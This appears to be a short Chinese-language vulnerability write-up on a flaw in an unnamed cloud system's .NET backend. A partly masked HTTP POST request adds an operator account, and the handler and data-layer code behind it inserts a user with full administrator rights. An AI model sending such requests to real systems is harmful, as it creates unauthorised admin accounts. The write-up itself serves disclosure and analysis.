.NET 情报 | 分析某云系统添加管理员漏洞

POST /System**.as** HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/top.html
Connection: close
Cookie: ASP.NET_SessionId=whnrkuaqbz0lyv1fb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 175

operator**=test&operator**=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=ad**

string operatorName = context.Request.Form["operatorName"];
string operatorPwd = context.Request.Form["operatorPwd"];
string operatorRole = context.Request.Form["operatorRole"];
string visible_jh = context.Request.Form["visible_jh"];

rtnStr = SystemMngBLL.addOperators(operatorName, operatorPwd, operatorRole, visible_jh).ToString();

public static int addOperators(string operatorName, string operatorPwd, string operatorRole, string visible_jh)
{
    return SystemMngDAL.addOperators(operatorName, operatorPwd, operatorRole, visible_jh);
}

public static int addOperators(string operatorName, string operatorPwd, string operatorRole, string visible_jh)
{
    string sqlStr = "if not exists(select * from qx where username=@username)rn                                insert qx(username, password, qx, memo, people_node,visible_jh) values(@username,@password, '1111111111111111111111111', '', @people_node,@visible_jh)";
    SqlParameter[] p = new SqlParameter[]
    {
        new SqlParameter("@username", operatorName),
        new SqlParameter("@password", operatorPwd),
        new SqlParameter("@visible_jh", visible_jh),
        new SqlParameter("@people_node", operatorRole)
    };
    return SqlHelper.ExecuteNonQuery(SqlHelper.dbCon, CommandType.Text, sqlStr, p);
}